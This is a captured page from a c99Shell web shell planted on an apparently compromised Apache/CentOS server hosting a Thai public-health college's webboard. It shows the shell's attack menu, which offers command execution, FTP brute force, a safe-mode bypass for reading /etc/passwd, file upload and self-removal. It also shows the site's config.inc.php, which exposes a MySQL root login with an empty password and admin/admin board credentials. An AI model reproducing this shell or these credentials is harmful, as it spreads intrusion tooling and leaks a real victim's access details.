!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage_22222/   drwxrwxrwx
Free 52.64 GB of 127.8 GB (41.19%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     config.inc.php (2.14 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?
 

//(1) ตั้งค่าต่างๆ ของ MySQL Server
$host = "localhost";
$user = "root";	
$passwd = "";
$dbname = "managedb_ud";

//(2) Admin Password
	$admin = "admin";
	$admin_pwd = "admin";

//*(3) ตั้งค่า locale time ตามชื่อประเทศ เช่น th = thai
		
	$locale ="th"; #ระบุประเทศ จะเป็นเวลาของประเทศนั้นๆในบอร์ด

//(4) ตั้งค่าจำนวนคำถามต่อหน้า
	$list_page = 20;

//(5) ตั้งค่าให้แสดงหมายเลข IP Address 
	// ALL - แสดงหมดทุกหลัก , BAN - แสดง 3 หลักแรก , NONE - ไม่แสดง IP Address
	$showIP = "BAN";

//(6) เลือกระบบส่งอีเมล์
	// 1 - ส่งเมล์จาก Script ของเว็บบอร์ด , 2 - ส่งเมล์จาก MS Outlook Express
	$s_mail = "1";

//(7) กำหนดขนาดของภาพที่อนุญาตให้ upload ได้ (หน่วยเป็น byte)
	$Image_size =184320;	// 10240 = 10 kbytes
    $Image_msg = "500 kb";
	//$Image_size = 512000;	// 10240 = 10 kbytes
    //$Image_msg = "500 kb ";
//(8) กำหนดรูปแบบของตัวแสดงสถานะ ICQ (1-17)
	$ICQ_Image_Type = 5;


//(9) แสดงลำดับของคำตอบ
	// ASC - เรียงลำดับข้อมูลจากน้อยไปมาก , DESC - เรียงลำดับข้อมูลจากมากไปน้อย
	$order = "ASC"; 
//(10)					
	
$CategoryArray = array("birth","news","student","sirindhorn","reg","activity");
$Categorylist = "birth , news ,student,sirindhorn,reg,activity";
//ก็จะได้ link ดังนี้	
//1. http://localhost/webboard/webboard.php?Category=bio39 
//2. http://localhost/webboard/webboard.php?Category=news 
		//ถ้าจะทำหลายๆบอร์ดก็ใส่เพิ่มลงไปอีก

//	$path = "..\webboard\photo"; # ตั้งค่า directory ที่เก็บรูปที่ post ลงในเว็บ 
	
$path = "..\teacher\photo"; # ตั้งค่า directory ที่เก็บรูปที่ post ลงบน host จำลอง
$path = "../manage/photo"; # ตั้งค่า directory ที่เก็บรูปที่ post ลงบน host
	
	$table = "webboard_online";  
	
	$online = 1; #คือถ้าลง table webboard_online ไปแล้วจุดนี้คือตั้งว่าจะให้แสดงหรือไม่แสดง 0 = ไม่แสดง, 1 = แสดง ถ้าจะใช้ก็รัน setup2.php ครับ
    $rowColor1 = "lightcyan"; //สีตาราง 1 (ในช่องแสดงคำถามที่ไฟล์ webboard.php)
	$rowColor2 = "powderblue"; //สีตาราง 2 จะสลับกับ สีตาราง 1
	$rowHiLight = "#FFCCCC"; //สีที่ post ล่าสุด
	$webmasterEmail = "comsit2000@yahoo.com";
	## อ่าน readme ด้วยนะ ถ้า งงๆ
	//$urlweb = "http://localhost";  
	//$title ="เวปบอร์ดวิทยาลัยการสาธารณสุขสิรินธร  จังหวัดชลบุรี ";
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd
Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 
:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0061 ]--